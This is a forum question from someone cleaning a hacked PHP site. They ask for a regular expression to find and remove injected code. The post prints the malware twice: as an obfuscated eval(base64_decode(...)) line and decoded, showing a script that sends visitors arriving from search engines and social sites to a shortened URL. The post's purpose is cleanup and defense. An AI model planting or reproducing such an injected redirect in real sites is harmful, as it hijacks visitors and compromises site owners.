title: Regular expression to match injected malicious code in PHP file
body: <p>I am working on a hacked website, almost 70% on the php files are infected, following redirection code is added in header, footer and before echo statements in almost every php file. </p>
  
  <p><strong>CODE 1</strong></p>
  
  <pre><code>&lt;?php    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCnbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly90aW55dXJsLmNvbS9rcmcyOTNqIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));
  ?&gt;
  </code></pre>
  
  <p>After decoding above code we get following code</p>
  
  <pre><code>&lt;?php
  error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&amp;lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://tinyurl.com/dxyvzua"); exit(); } } }
  ?&gt;
  </code></pre>
  
  <p>For temporary purpose I have updated the  $_SERVER['HTTP_USER_AGENT']  to jaycobbmarley.com in index.php before anything executes so the above script will not execute at all.</p>
  
  <p>It is very difficult to remove this code manually from each file so I am working on a PHP script that will scan all PHP files and remove above code, I want a regular expression that will find multiple occurrence of above malacious script (CODE 1)</p>
  
  <p>If there a any ready made script to do such cleanup task pleas suggest.</p>